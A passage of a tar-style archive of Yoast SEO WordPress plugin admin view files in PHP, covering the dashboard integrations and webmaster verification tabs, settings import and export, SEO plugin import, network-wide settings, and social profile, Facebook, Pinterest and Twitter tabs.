* Don't use it in your code as it will be removed shortly.
*/
do_action( 'wpseo_settings_tab_crawl_cleanup_internal', $yform );
/**
* Fires when displaying the crawl cleanup tab.
*
* @deprecated 19.10 No replacement available.
*
* @param Yoast_Form $yform The yoast form object.
*/
do_action_deprecated(
'wpseo_settings_tab_crawl_cleanup',
[ $yform ],
'19.10',
'',
'This action is going away with no replacement. If you want to add settings that interact with Yoast SEO, please create your own settings page.'
);
?>
</div>
<?php
/*
* Required to prevent our settings framework from saving the default because the field isn't
* explicitly set when saving the Dashboard page.
*/
$yform->hidden( 'show_onboarding_notice', 'wpseo_show_onboarding_notice' );
tabs/dashboard/integrations.php 0000666 00000003345 15112332326 0012652 0 ustar 00 <?php
/**
* WPSEO plugin file.
*
* @package WPSEO\Admin\Views
*
* @uses Yoast_Form $yform Form object.
*/
use Yoast\WP\SEO\Presenters\Admin\Alert_Presenter;
if ( ! defined( 'WPSEO_VERSION' ) ) {
header( 'Status: 403 Forbidden' );
header( 'HTTP/1.1 403 Forbidden' );
exit();
}
$integration_toggles = Yoast_Integration_Toggles::instance()->get_all();
?>
<h2><?php esc_html_e( 'Integrations', 'wordpress-seo' ); ?></h2>
<div class="yoast-measure">
<?php
$integrations_moved_message = sprintf(
/* translators: 1: link open tag; 2: link close tag. */
esc_html__( 'Looking for your integrations settings? We\'ve moved them to a %1$sseparate Integrations page%2$s.', 'wordpress-seo' ),
'<a href="' . esc_url( admin_url( 'admin.php?page=wpseo_integrations' ) ) . '">',
'</a>'
);
$frontpage_settings_alert = new Alert_Presenter( $integrations_moved_message, 'info' );
// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Output from present() is considered safe.
echo $frontpage_settings_alert->present();
$yform->hidden( 'semrush_integration_active', 'semrush_integration_active' );
$yform->hidden( 'ryte_indexability', 'ryte_indexability' );
$yform->hidden( 'zapier_integration_active', 'zapier_integration_active' );
$yform->hidden( 'algolia_integration_active', 'algolia_integration_active' );
$yform->hidden( 'wincher_integration_active', 'wincher_integration_active' );
$yform->hidden( 'wordproof_integration_active', 'wordproof_integration_active' );
?>
</div>
<?php
/*
* Required to prevent our settings framework from saving the default because the field isn't
* explicitly set when saving the Dashboard page.
*/
$yform->hidden( 'show_onboarding_notice', 'wpseo_show_onboarding_notice' );
tabs/dashboard/webmaster-tools.php 0000666 00000007000 15112332326 0013263 0 ustar 00 <?php
/**
* WPSEO plugin file.
*
* @package WPSEO\Admin\Views
*
* @uses Yoast_Form $yform Form object.
*/
if ( ! defined( 'WPSEO_VERSION' ) ) {
header( 'Status: 403 Forbidden' );
header( 'HTTP/1.1 403 Forbidden' );
exit();
}
$webmaster_tools_help = new WPSEO_Admin_Help_Panel(
'dashboard-webmaster-tools',
esc_html__( 'Learn more about the Webmaster Tools verification', 'wordpress-seo' ),
esc_html__( 'You can use the boxes below to verify with the different Webmaster Tools. This feature will add a verification meta tag on your home page. Follow the links to the different Webmaster Tools and look for instructions for the meta tag verification method to get the verification code. If your site is already verified, you can just forget about these.', 'wordpress-seo' ),
'has-wrapper'
);
// phpcs:ignore WordPress.Security.EscapeOutput -- get_button_html() output is properly escaped.
echo '<h2 class="help-button-inline">' . esc_html__( 'Webmaster Tools verification', 'wordpress-seo' ) . $webmaster_tools_help->get_button_html() . '</h2>';
// phpcs:ignore WordPress.Security.EscapeOutput -- get_panel_html() output is properly escaped.
echo $webmaster_tools_help->get_panel_html();
$msverify_link = 'https://www.bing.com/toolbox/webmaster/#/Dashboard/?url=' .
rawurlencode( str_replace( 'http://', '', get_bloginfo( 'url' ) ) );
$googleverify_link = add_query_arg(
[
'hl' => 'en',
'tid' => 'alternate',
'siteUrl' => rawurlencode( get_bloginfo( 'url' ) ) . '/',
],
'https://www.google.com/webmasters/verification/verification'
);
$yform->textinput( 'baiduverify', __( 'Baidu verification code', 'wordpress-seo' ) );
echo '<p class="desc label">';
printf(
/* translators: %1$s expands to a link start tag to the Baidu Webmaster Tools site add page, %2$s is the link closing tag. */
esc_html__( 'Get your Baidu verification code in %1$sBaidu Webmaster Tools%2$s.', 'wordpress-seo' ),
/*
* Get the Baidu Webmaster Tools site add link from this 3rd party article.
* {@link http://www.dragonmetrics.com/how-to-optimize-your-site-with-baidu-webmaster-tools/}
* We are unable to create a Baidu Webmaster Tools account due to the Chinese phone number verification.
*/
'<a target="_blank" href="' . esc_url( 'https://ziyuan.baidu.com/site/siteadd' ) . '" rel="noopener noreferrer">',
'</a>'
);
echo '</p>';
$yform->textinput( 'msverify', __( 'Bing verification code', 'wordpress-seo' ) );
echo '<p class="desc label">';
printf(
/* translators: 1: link open tag; 2: link close tag. */
esc_html__( 'Get your Bing verification code in %1$sBing Webmaster Tools%2$s.', 'wordpress-seo' ),
'<a target="_blank" href="' . esc_url( $msverify_link ) . '" rel="noopener noreferrer">',
'</a>'
);
echo '</p>';
$yform->textinput( 'googleverify', __( 'Google verification code', 'wordpress-seo' ) );
echo '<p class="desc label">';
printf(
/* translators: 1: link open tag; 2: link close tag. */
esc_html__( 'Get your Google verification code in %1$sGoogle Search Console%2$s.', 'wordpress-seo' ),
'<a target="_blank" href="' . esc_url( $googleverify_link ) . '" rel="noopener noreferrer">',
'</a>'
);
echo '</p>';
$yform->textinput( 'yandexverify', __( 'Yandex verification code', 'wordpress-seo' ) );
echo '<p class="desc label">';
printf(
/* translators: 1: link open tag; 2: link close tag. */
esc_html__( 'Get your Yandex verification code in %1$sYandex Webmaster Tools%2$s.', 'wordpress-seo' ),
'<a target="_blank" href="' . esc_url( 'https://webmaster.yandex.com/sites/add/' ) . '" rel="noopener noreferrer">',
'</a>'
);
echo '</p>';
tabs/dashboard/first-time-configuration.php 0000666 00000000371 15112332326 0015070 0 ustar 00 <?php
/**
* WPSEO plugin file.
*
* @package WPSEO\Admin\Views
*/
if ( ! defined( 'WPSEO_VERSION' ) ) {
header( 'Status: 403 Forbidden' );
header( 'HTTP/1.1 403 Forbidden' );
exit();
}
echo '<div id="wpseo-first-time-configuration"></div>';
tabs/tool/wpseo-import.php 0000666 00000002672 15112332326 0011641 0 ustar 00 <?php
/**
* WPSEO plugin file.
*
* @package WPSEO\Admin\Views
*/
if ( ! defined( 'WPSEO_VERSION' ) ) {
header( 'Status: 403 Forbidden' );
header( 'HTTP/1.1 403 Forbidden' );
exit();
}
if ( ! defined( 'WPSEO_NAMESPACES' ) || ! WPSEO_NAMESPACES ) {
esc_html_e( 'Import of settings is only supported on servers that run PHP 5.3 or higher.', 'wordpress-seo' );
return;
}
?>
<p id="settings-import-desc">
<?php
printf(
/* translators: 1: expands to Yoast SEO, 2: expands to Import settings. */
esc_html__( 'Import settings from another %1$s installation by pasting them here and clicking "%2$s".', 'wordpress-seo' ),
'Yoast SEO',
esc_html__( 'Import settings', 'wordpress-seo' )
);
?>
</p>
<form
action="<?php echo esc_url( admin_url( 'admin.php?page=wpseo_tools&tool=import-export#top#wpseo-import' ) ); ?>"
method="post"
accept-charset="<?php echo esc_attr( get_bloginfo( 'charset' ) ); ?>">
<?php wp_nonce_field( WPSEO_Import_Settings::NONCE_ACTION ); ?>
<label class="yoast-inline-label" for="settings-import">
<?php
printf(
/* translators: %s expands to Yoast SEO */
esc_html__( '%s settings to import:', 'wordpress-seo' ),
'Yoast SEO'
);
?>
</label><br />
<textarea id="settings-import" rows="10" cols="140" name="settings_import" aria-describedby="settings-import-desc"></textarea><br/>
<input type="submit" class="button button-primary" value="<?php esc_attr_e( 'Import settings', 'wordpress-seo' ); ?>"/>
</form>
tabs/tool/wpseo-export.php 0000666 00000002170 15112332326 0011641 0 ustar 00 <?php
/**
* WPSEO plugin file.
*
* @package WPSEO\Admin\Views
*/
if ( ! defined( 'WPSEO_VERSION' ) ) {
header( 'Status: 403 Forbidden' );
header( 'HTTP/1.1 403 Forbidden' );
exit();
}
/* translators: %1$s expands to Yoast SEO */
$submit_button_value = sprintf( __( 'Export your %1$s settings', 'wordpress-seo' ), 'Yoast SEO' );
if ( filter_input( INPUT_POST, 'do_export' ) ) {
$export = new WPSEO_Export();
$export->export();
return;
}
$wpseo_export_phrase = sprintf(
/* translators: %1$s expands to Yoast SEO */
__( 'Export your %1$s settings here, to copy them on another site.', 'wordpress-seo' ),
'Yoast SEO'
);
?>
<p><?php echo esc_html( $wpseo_export_phrase ); ?></p>
<form
action="<?php echo esc_url( admin_url( 'admin.php?page=wpseo_tools&tool=import-export#top#wpseo-export' ) ); ?>"
method="post"
accept-charset="<?php echo esc_attr( get_bloginfo( 'charset' ) ); ?>">
<?php wp_nonce_field( WPSEO_Export::NONCE_ACTION ); ?>
<input type="hidden" name="do_export" value="1" />
<button type="submit" class="button button-primary" id="export-button"><?php echo esc_html( $submit_button_value ); ?></button>
</form>
tabs/tool/import-seo.php 0000666 00000011644 15112332326 0011271 0 ustar 00 <?php
/**
* WPSEO plugin file.
*
* @package WPSEO\Admin\Views
*/
if ( ! defined( 'WPSEO_VERSION' ) ) {
header( 'Status: 403 Forbidden' );
header( 'HTTP/1.1 403 Forbidden' );
exit();
}
// Determine if we have plugins we can import from. If so, load that tab. Otherwise, load an empty tab.
$import_check = new WPSEO_Import_Plugins_Detector();
$import_check->detect();
if ( count( $import_check->needs_import ) === 0 ) {
echo '<h2>', esc_html__( 'Import from other SEO plugins', 'wordpress-seo' ), '</h2>';
echo '<p>';
printf(
/* translators: %s expands to Yoast SEO */
esc_html__( '%s did not detect any plugin data from plugins it can import from.', 'wordpress-seo' ),
'Yoast SEO'
);
echo '</p>';
return;
}
/**
* Creates a select box given a name and plugins array.
*
* @param string $name Name field for the select field.
* @param array $plugins An array of plugins and classes.
*
* @return void
*/
function wpseo_import_external_select( $name, $plugins ) {
esc_html_e( 'Plugin: ', 'wordpress-seo' );
echo '<select name="', esc_attr( $name ), '">';
foreach ( $plugins as $class => $plugin ) {
/* translators: %s is replaced with the name of the plugin we're importing from. */
echo '<option value="' . esc_attr( $class ) . '">' . esc_html( $plugin ) . '</option>';
}
echo '</select>';
}
?>
<h2><?php esc_html_e( 'Import from other SEO plugins', 'wordpress-seo' ); ?></h2>
<p>
<?php esc_html_e( 'We\'ve detected data from one or more SEO plugins on your site. Please follow the following steps to import that data:', 'wordpress-seo' ); ?>
</p>
<div class="tab-block">
<h3><?php esc_html_e( 'Step 1: Create a backup', 'wordpress-seo' ); ?></h3>
<p>
<?php esc_html_e( 'Please make a backup of your database before starting this process.', 'wordpress-seo' ); ?>
</p>
</div>
<div class="tab-block">
<h3><?php esc_html_e( 'Step 2: Import', 'wordpress-seo' ); ?></h3>
<p class="yoast-import-explanation">
<?php
printf(
/* translators: 1: expands to Yoast SEO */
esc_html__( 'This will import the post metadata like SEO titles and descriptions into your %1$s metadata. It will only do this when there is no existing %1$s metadata yet. The original data will remain in place.', 'wordpress-seo' ),
'Yoast SEO'
);
?>
</p>
<form action="<?php echo esc_url( admin_url( 'admin.php?page=wpseo_tools&tool=import-export#top#import-seo' ) ); ?>"
method="post" accept-charset="<?php echo esc_attr( get_bloginfo( 'charset' ) ); ?>">
<?php
wp_nonce_field( 'wpseo-import-plugins', '_wpnonce', true, true );
wpseo_import_external_select( 'import_external_plugin', $import_check->needs_import );
?>
<?php
/**
* WARNING: This hook is intended for internal use only.
* Don't use it in your code as it will be removed shortly.
*/
do_action( 'wpseo_import_other_plugins_internal' );
/**
* Hook used to import other plugins.
*
* @deprecated 19.10 No replacement available.
*/
do_action_deprecated(
'wpseo_import_other_plugins',
[],
'19.10',
'',
'This action is going away with no replacement. If you want to add settings that interact with Yoast SEO, please create your own settings page.'
);
?>
<input type="submit" class="button button-primary" name="import_external"
value="<?php esc_attr_e( 'Import', 'wordpress-seo' ); ?>"/>
</form>
</div>
<div class="tab-block">
<h3><?php esc_html_e( 'Step 3: Check your data', 'wordpress-seo' ); ?></h3>
<p>
<?php esc_html_e( 'Please check your posts and pages and see if the metadata was successfully imported.', 'wordpress-seo' ); ?>
</p>
</div>
<div class="tab-block">
<h3><?php esc_html_e( 'Step 4: Go through the first time configuration', 'wordpress-seo' ); ?></h3>
<p>
<?php
printf(
/* translators: 1: Link start tag to the First time configuration tab in the General page, 2: Link closing tag. */
esc_html__( 'You should finish the %1$sfirst time configuration%2$s to make sure your SEO data has been optimized and you’ve set the essential Yoast SEO settings for your site.', 'wordpress-seo' ),
'<a href="' . esc_url( admin_url( 'admin.php?page=wpseo_dashboard#top#first-time-configuration' ) ) . '">',
'</a>'
);
?>
</p>
</div>
<div class="tab-block">
<h3><?php esc_html_e( 'Step 5: Clean up', 'wordpress-seo' ); ?></h3>
<p class="yoast-cleanup-explanation">
<?php esc_html_e( 'Once you\'re certain your site is OK, you can clean up. This will remove all the original data.', 'wordpress-seo' ); ?>
</p>
<form action="<?php echo esc_url( admin_url( 'admin.php?page=wpseo_tools&tool=import-export#top#import-seo' ) ); ?>"
method="post" accept-charset="<?php echo esc_attr( get_bloginfo( 'charset' ) ); ?>">
<?php
wp_nonce_field( 'wpseo-clean-plugins', '_wpnonce', true, true );
wpseo_import_external_select( 'clean_external_plugin', $import_check->needs_import );
?>
<input type="submit" class="button button-primary" name="clean_external"
value="<?php esc_attr_e( 'Clean', 'wordpress-seo' ); ?>"/>
</form>
</div>
tabs/network/restore-site.php 0000666 00000001637 15112332326 0012335 0 ustar 00 <?php
/**
* WPSEO plugin file.
*
* @package WPSEO\Admin\Views
*
* @uses Yoast_Form $yform Form object.
*/
if ( ! defined( 'WPSEO_VERSION' ) ) {
header( 'Status: 403 Forbidden' );
header( 'HTTP/1.1 403 Forbidden' );
exit();
}
echo '<p>' . esc_html__( 'Using this form you can reset a site to the default SEO settings.', 'wordpress-seo' ) . '</p>';
if ( get_blog_count() <= 100 ) {
$network_admin = new Yoast_Network_Admin();
$yform->select(
'site_id',
__( 'Site ID', 'wordpress-seo' ),
$network_admin->get_site_choices( false, true )
);
}
else {
$yform->textinput( 'site_id', __( 'Site ID', 'wordpress-seo' ) );
}
wp_nonce_field( 'wpseo-network-restore', 'restore_site_nonce', false );
echo '<button type="submit" name="action" value="' . esc_attr( Yoast_Network_Admin::RESTORE_SITE_ACTION ) . '" class="button button-primary">' . esc_html__( 'Restore site to defaults', 'wordpress-seo' ) . '</button>';
tabs/network/integrations.php 0000666 00000006573 15112332326 0012422 0 ustar 00 <?php
/**
* WPSEO plugin file.
*
* @package WPSEO\Admin\Views
*
* @uses Yoast_Form $yform Form object.
*/
use Yoast\WP\SEO\Presenters\Admin\Badge_Presenter;
use Yoast\WP\SEO\Presenters\Admin\Premium_Badge_Presenter;
if ( ! defined( 'WPSEO_VERSION' ) ) {
header( 'Status: 403 Forbidden' );
header( 'HTTP/1.1 403 Forbidden' );
exit();
}
$integration_toggles = Yoast_Integration_Toggles::instance()->get_all();
?>
<h2><?php esc_html_e( 'Integrations', 'wordpress-seo' ); ?></h2>
<div class="yoast-measure">
<?php
echo sprintf(
/* translators: %1$s expands to Yoast SEO */
esc_html__( 'This tab allows you to selectively disable %1$s integrations with third-party products for all sites in the network. By default all integrations are enabled, which allows site admins to choose for themselves if they want to toggle an integration on or off for their site. When you disable an integration here, site admins will not be able to use that integration at all.', 'wordpress-seo' ),
'Yoast SEO'
);
foreach ( $integration_toggles as $integration ) {
$help_text = esc_html( $integration->label );
if ( ! empty( $integration->extra ) ) {
$help_text .= ' ' . $integration->extra;
}
if ( ! empty( $integration->read_more_label ) ) {
$help_text .= ' ';
$help_text .= sprintf(
'<a href="%1$s" target="_blank" rel="noopener noreferrer">%2$s</a>',
esc_url( WPSEO_Shortlinker::get( $integration->read_more_url ) ),
esc_html( $integration->read_more_label )
);
}
$feature_help = new WPSEO_Admin_Help_Panel(
WPSEO_Option::ALLOW_KEY_PREFIX . $integration->setting,
/* translators: %s expands to an integration's name */
sprintf( esc_html__( 'Help on: %s', 'wordpress-seo' ), esc_html( $integration->name ) ),
$help_text
);
$name = $integration->name;
if ( ! empty( $integration->premium ) && $integration->premium === true ) {
$name .= ' ' . new Premium_Badge_Presenter( $integration->name );
}
if ( ! empty( $integration->new ) && $integration->new === true ) {
$name .= ' ' . new Badge_Presenter( $integration->name );
}
$disabled = $integration->disabled;
$show_premium_upsell = false;
$premium_upsell_url = '';
if ( $integration->premium === true && YoastSEO()->helpers->product->is_premium() === false ) {
$disabled = true;
$show_premium_upsell = true;
$premium_upsell_url = WPSEO_Shortlinker::get( $integration->premium_upsell_url );
}
$preserve_disabled_value = false;
if ( $disabled ) {
$preserve_disabled_value = true;
}
$yform->toggle_switch(
WPSEO_Option::ALLOW_KEY_PREFIX . $integration->setting,
[
'on' => __( 'Allow Control', 'wordpress-seo' ),
'off' => __( 'Disable', 'wordpress-seo' ),
],
$name,
$feature_help->get_button_html() . $feature_help->get_panel_html(),
[
'disabled' => $disabled,
'preserve_disabled_value' => $preserve_disabled_value,
'show_premium_upsell' => $show_premium_upsell,
'premium_upsell_url' => $premium_upsell_url,
]
);
do_action( 'Yoast\WP\SEO\admin_network_integration_after', $integration );
}
?>
</div>
<?php
/*
* Required to prevent our settings framework from saving the default because the field isn't
* explicitly set when saving the Dashboard page.
*/
$yform->hidden( 'show_onboarding_notice', 'wpseo_show_onboarding_notice' );
tabs/network/features.php 0000666 00000007253 15112332326 0011526 0 ustar 00 <?php
/**
* WPSEO plugin file.
*
* @package WPSEO\Admin\Views
*
* @uses Yoast_Form $yform Form object.
*/
use Yoast\WP\SEO\Presenters\Admin\Beta_Badge_Presenter;
use Yoast\WP\SEO\Presenters\Admin\Premium_Badge_Presenter;
if ( ! defined( 'WPSEO_VERSION' ) ) {
header( 'Status: 403 Forbidden' );
header( 'HTTP/1.1 403 Forbidden' );
exit();
}
$feature_toggles = Yoast_Feature_Toggles::instance()->get_all();
?>
<h2><?php esc_html_e( 'Features', 'wordpress-seo' ); ?></h2>
<div class="yoast-measure">
<?php
echo sprintf(
/* translators: %s expands to Yoast SEO */
esc_html__( 'This tab allows you to selectively disable %s features for all sites in the network. By default all features are enabled, which allows site admins to choose for themselves if they want to toggle a feature on or off for their site. When you disable a feature here, site admins will not be able to use that feature at all.', 'wordpress-seo' ),
'Yoast SEO'
);
foreach ( $feature_toggles as $feature ) {
$is_premium = YoastSEO()->helpers->product->is_premium();
$premium_version = YoastSEO()->helpers->product->get_premium_version();
if ( $feature->premium && $feature->premium_version ) {
$not_supported_in_current_premium_version = $is_premium && \version_compare( $premium_version, $feature->premium_version, '<' );
if ( $not_supported_in_current_premium_version ) {
continue;
}
}
$help_text = esc_html( $feature->label );
if ( ! empty( $feature->extra ) ) {
$help_text .= ' ' . $feature->extra;
}
if ( ! empty( $feature->read_more_label ) ) {
$url = $feature->read_more_url;
if ( ! empty( $feature->premium ) && $feature->premium === true ) {
$url = $feature->premium_url;
}
$help_text .= sprintf(
'<a href="%1$s" target="_blank" rel="noopener noreferrer">%2$s</a>',
esc_url( WPSEO_Shortlinker::get( $url ) ),
esc_html( $feature->read_more_label )
);
}
$feature_help = new WPSEO_Admin_Help_Panel(
WPSEO_Option::ALLOW_KEY_PREFIX . $feature->setting,
/* translators: %s expands to a feature's name */
sprintf( esc_html__( 'Help on: %s', 'wordpress-seo' ), esc_html( $feature->name ) ),
$help_text
);
$name = $feature->name;
if ( ! empty( $feature->premium ) && $feature->premium === true ) {
$name .= ' ' . new Premium_Badge_Presenter( $feature->name );
}
if ( ! empty( $feature->in_beta ) && $feature->in_beta === true ) {
$name .= ' ' . new Beta_Badge_Presenter( $feature->name );
}
$disabled = false;
$show_premium_upsell = false;
$premium_upsell_url = '';
$note_when_disabled = '';
if ( $feature->premium === true && YoastSEO()->helpers->product->is_premium() === false ) {
$disabled = true;
$show_premium_upsell = true;
$premium_upsell_url = WPSEO_Shortlinker::get( $feature->premium_upsell_url );
}
$preserve_disabled_value = false;
if ( $disabled ) {
$preserve_disabled_value = true;
}
$yform->toggle_switch(
WPSEO_Option::ALLOW_KEY_PREFIX . $feature->setting,
[
'on' => __( 'Allow Control', 'wordpress-seo' ),
'off' => __( 'Disable', 'wordpress-seo' ),
],
$name,
$feature_help->get_button_html() . $feature_help->get_panel_html(),
[
'disabled' => $disabled,
'preserve_disabled_value' => $preserve_disabled_value,
'show_premium_upsell' => $show_premium_upsell,
'premium_upsell_url' => $premium_upsell_url,
'note_when_disabled' => $note_when_disabled,
]
);
}
?>
</div>
<?php
/*
* Required to prevent our settings framework from saving the default because the field
* isn't explicitly set when saving the Dashboard page.
*/
$yform->hidden( 'show_onboarding_notice', 'wpseo_show_onboarding_notice' );
tabs/network/crawl-settings.php 0000666 00000003233 15112332326 0012650 0 ustar 00 <?php
/**
* WPSEO plugin file.
*
* @package WPSEO\Admin\Views
*
* @uses Yoast_Form $yform Form object.
*/
if ( ! defined( 'WPSEO_VERSION' ) ) {
header( 'Status: 403 Forbidden' );
header( 'HTTP/1.1 403 Forbidden' );
exit();
}
$feature_toggles = Yoast_Feature_Toggles::instance()->get_all();
?>
<h2><?php esc_html_e( 'Crawl settings', 'wordpress-seo' ); ?></h2>
<div class="yoast-measure">
<?php
echo sprintf(
/* translators: %s expands to Yoast SEO */
esc_html__( 'This tab allows you to selectively disable %s features for all sites in the network. By default all features are enabled, which allows site admins to choose for themselves if they want to toggle a feature on or off for their site. When you disable a feature here, site admins will not be able to use that feature at all.', 'wordpress-seo' ),
'Yoast SEO Premium'
);
echo '<p style="margin: 0.5em 0 1em;">';
echo sprintf(
/* translators: %1$s opens the link to the Yoast.com article about Crawl settings, %2$s closes the link, */
esc_html__( '%1$sLearn more about crawl settings.%2$s', 'wordpress-seo' ),
'<a href="' . esc_url( WPSEO_Shortlinker::get( 'https://yoa.st/crawl-settings' ) ) . '" target="_blank" rel="noopener noreferrer">',
'</a>'
);
echo '</p>';
/**
* Fires when displaying the crawl cleanup network tab.
*
* @param Yoast_Form $yform The yoast form object.
*/
do_action( 'wpseo_settings_tab_crawl_cleanup_network', $yform );
?>
</div>
<?php
/*
* Required to prevent our settings framework from saving the default because the field
* isn't explicitly set when saving the Dashboard page.
*/
$yform->hidden( 'show_onboarding_notice', 'wpseo_show_onboarding_notice' );
tabs/network/general.php 0000666 00000004026 15112332326 0011320 0 ustar 00 <?php
/**
* WPSEO plugin file.
*
* @package WPSEO\Admin\Views
*
* @uses Yoast_Form $yform Form object.
*/
if ( ! defined( 'WPSEO_VERSION' ) ) {
header( 'Status: 403 Forbidden' );
header( 'HTTP/1.1 403 Forbidden' );
exit();
}
echo '<div class="tab-block">';
/*
* {@internal Important: Make sure the options added to the array here are in line with the
* options set in the WPSEO_Option_MS::$allowed_access_options property.}}
*/
$yform->select(
'access',
/* translators: %1$s expands to Yoast SEO */
sprintf( __( 'Who should have access to the %1$s settings', 'wordpress-seo' ), 'Yoast SEO' ),
[
'admin' => __( 'Site Admins (default)', 'wordpress-seo' ),
'superadmin' => __( 'Super Admins only', 'wordpress-seo' ),
]
);
if ( get_blog_count() <= 100 ) {
$network_admin = new Yoast_Network_Admin();
$yform->select(
'defaultblog',
__( 'New sites in the network inherit their SEO settings from this site', 'wordpress-seo' ),
$network_admin->get_site_choices( true, true )
);
echo '<p>' . esc_html__( 'Choose the site whose settings you want to use as default for all sites that are added to your network. If you choose \'None\', the normal plugin defaults will be used.', 'wordpress-seo' ) . '</p>';
}
else {
$yform->textinput( 'defaultblog', __( 'New sites in the network inherit their SEO settings from this site', 'wordpress-seo' ) );
echo '<p>';
printf(
/* translators: 1: link open tag; 2: link close tag. */
esc_html__( 'Enter the %1$sSite ID%2$s for the site whose settings you want to use as default for all sites that are added to your network. Leave empty for none (i.e. the normal plugin defaults will be used).', 'wordpress-seo' ),
'<a href="' . esc_url( network_admin_url( 'sites.php' ) ) . '">',
'</a>'
);
echo '</p>';
}
echo '<p><strong>' . esc_html__( 'Take note:', 'wordpress-seo' ) . '</strong> ' . esc_html__( 'Privacy sensitive (FB admins and such), theme specific (title rewrite) and a few very site specific settings will not be imported to new sites.', 'wordpress-seo' ) . '</p>';
echo '</div>';
tabs/social/accounts.php 0000666 00000002245 15112332326 0011304 0 ustar 00 <?php
/**
* WPSEO plugin file.
*
* @package WPSEO\Admin\Views
*
* @uses Yoast_Form $yform Form object.
*/
if ( ! defined( 'WPSEO_VERSION' ) ) {
header( 'Status: 403 Forbidden' );
header( 'HTTP/1.1 403 Forbidden' );
exit();
}
$social_profiles_help = new WPSEO_Admin_Help_Panel(
'social-accounts',
__( 'Learn more about your social profiles settings', 'wordpress-seo' ),
__( 'To let search engines know which social profiles are associated to this site, enter your site social profiles data below.', 'wordpress-seo' ) . ' ' .
__( 'If a Wikipedia page for you or your organization exists, add it too.', 'wordpress-seo' ),
'has-wrapper'
);
echo '<div id="yoast-social-profiles"></div>';
/**
* WARNING: This hook is intended for internal use only.
* Don't use it in your code as it will be removed shortly.
*/
do_action( 'wpseo_admin_other_section_internal' );
/**
* Admin other section hook.
*
* @deprecated 19.10 No replacement available.
*/
do_action_deprecated(
'wpseo_admin_other_section',
[],
'19.10',
'',
'This action is going away with no replacement. If you want to add settings that interact with Yoast SEO, please create your own settings page.'
);
tabs/social/pinterest.php 0000666 00000003076 15112332326 0011505 0 ustar 00 <?php
/**
* WPSEO plugin file.
*
* @package WPSEO\Admin\Views
*
* @uses Yoast_Form $yform Form object.
*/
if ( ! defined( 'WPSEO_VERSION' ) ) {
header( 'Status: 403 Forbidden' );
header( 'HTTP/1.1 403 Forbidden' );
exit();
}
echo '<h2>' . esc_html__( 'Pinterest settings', 'wordpress-seo' ) . '</h2>';
printf(
'<p>%s</p>',
esc_html__( 'Pinterest uses Open Graph metadata just like Facebook, so be sure to keep the "Add Open Graph meta data" setting on the Facebook tab enabled if you want to optimize your site for Pinterest.', 'wordpress-seo' )
);
printf(
'<p>%s</p>',
esc_html__( 'If you have already confirmed your website with Pinterest, you can skip the step below.', 'wordpress-seo' )
);
echo '<p>';
printf(
/* translators: %1$s / %2$s expands to a link to pinterest.com's help page. */
esc_html__( 'To %1$sconfirm your site with Pinterest%2$s, add the meta tag here:', 'wordpress-seo' ),
'<a target="_blank" href="https://www.pinterest.com/settings/claim">',
'</a>'
);
echo '</p>';
$yform->textinput( 'pinterestverify', __( 'Pinterest confirmation', 'wordpress-seo' ) );
/**
* WARNING: This hook is intended for internal use only.
* Don't use it in your code as it will be removed shortly.
*/
do_action( 'wpseo_admin_pinterest_section_internal' );
/**
* Admin Pinterest section hook.
*
* @deprecated 19.10 No replacement available.
*/
do_action_deprecated(
'wpseo_admin_pinterest_section',
[],
'19.10',
'',
'This action is going away with no replacement. If you want to add settings that interact with Yoast SEO, please create your own settings page.'
);
tabs/social/facebook.php 0000666 00000004777 15112332326 0011252 0 ustar 00 <?php
/**
* WPSEO plugin file.
*
* @package WPSEO\Admin\Views
*
* @uses Yoast_Form $yform Form object.
*/
use Yoast\WP\SEO\Presenters\Admin\Alert_Presenter;
if ( ! defined( 'WPSEO_VERSION' ) ) {
header( 'Status: 403 Forbidden' );
header( 'HTTP/1.1 403 Forbidden' );
exit();
}
echo '<h2>' . esc_html__( 'Facebook settings', 'wordpress-seo' ) . '</h2>';
$yform->light_switch( 'opengraph', __( 'Add Open Graph meta data', 'wordpress-seo' ) );
?>
<p>
<?php
esc_html_e( 'Enable this feature if you want Facebook and other social media to display a preview with images and a text excerpt when a link to your site is shared.', 'wordpress-seo' );
?>
</p>
<div id="wpseo-opengraph-settings" style="display: none;">
<?php
$frontpage_settings_message = sprintf(
/* translators: 1: link open tag; 2: link close tag. */
esc_html__( 'The social homepage settings have been moved to the %1$s‘Search appearance’ settings under the ‘General’ tab%2$s.', 'wordpress-seo' ),
'<a href="' . esc_url( admin_url( 'admin.php?page=wpseo_titles#top#general' ) ) . '">',
'</a>'
);
$frontpage_settings_alert = new Alert_Presenter( $frontpage_settings_message, 'info' );
// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Output from present() is considered safe.
echo '<div class="yoast-measure">' . $frontpage_settings_alert->present() . '</div>';
$yform->hidden( 'og_frontpage_title', 'og_frontpage_title' );
$yform->hidden( 'og_frontpage_desc', 'og_frontpage_desc' );
$yform->hidden( 'og_frontpage_image', 'og_frontpage_image' );
$yform->hidden( 'og_frontpage_image_id', 'og_frontpage_image_id' );
echo '<h3>' . esc_html__( 'Default image', 'wordpress-seo' ) . '</h3>';
$yform->hidden( 'og_default_image', 'og_default_image' );
$yform->hidden( 'og_default_image_id', 'og_default_image_id' );
?>
<p>
<?php esc_html_e( 'This image is used if the post/page being shared does not contain any images.', 'wordpress-seo' ); ?>
</p>
<div id="yoast-og-default-image-select" class="yoast-measure"></div>
</div>
<?php
/**
* WARNING: This hook is intended for internal use only.
* Don't use it in your code as it will be removed shortly.
*/
do_action( 'wpseo_admin_opengraph_section_internal' );
/**
* Admin OpenGraph section hook.
*
* @deprecated 19.10 No replacement available.
*/
do_action_deprecated(
'wpseo_admin_opengraph_section',
[],
'19.10',
'',
'This action is going away with no replacement. If you want to add settings that interact with Yoast SEO, please create your own settings page.'
);
tabs/social/twitterbox.php 0000666 00000002614 15112332326 0011700 0 ustar 00 <?php
/**
* WPSEO plugin file.
*
* @package WPSEO\Admin\Views
*
* @uses Yoast_Form $yform Form object.
* @uses array WPSEO_Option_Social::$twitter_card_types
*/
if ( ! defined( 'WPSEO_VERSION' ) ) {
header( 'Status: 403 Forbidden' );
header( 'HTTP/1.1 403 Forbidden' );
exit();
}
echo '<h2>' . esc_html__( 'Twitter settings', 'wordpress-seo' ) . '</h2>';
printf(
'<p>%s</p>',
esc_html__( 'Twitter uses Open Graph metadata just like Facebook, so be sure to keep the "Add Open Graph metadata" setting on the Facebook tab enabled if you want to optimize your site for Twitter.', 'wordpress-seo' )
);
$yform->light_switch( 'twitter', __( 'Add Twitter card meta data', 'wordpress-seo' ) );
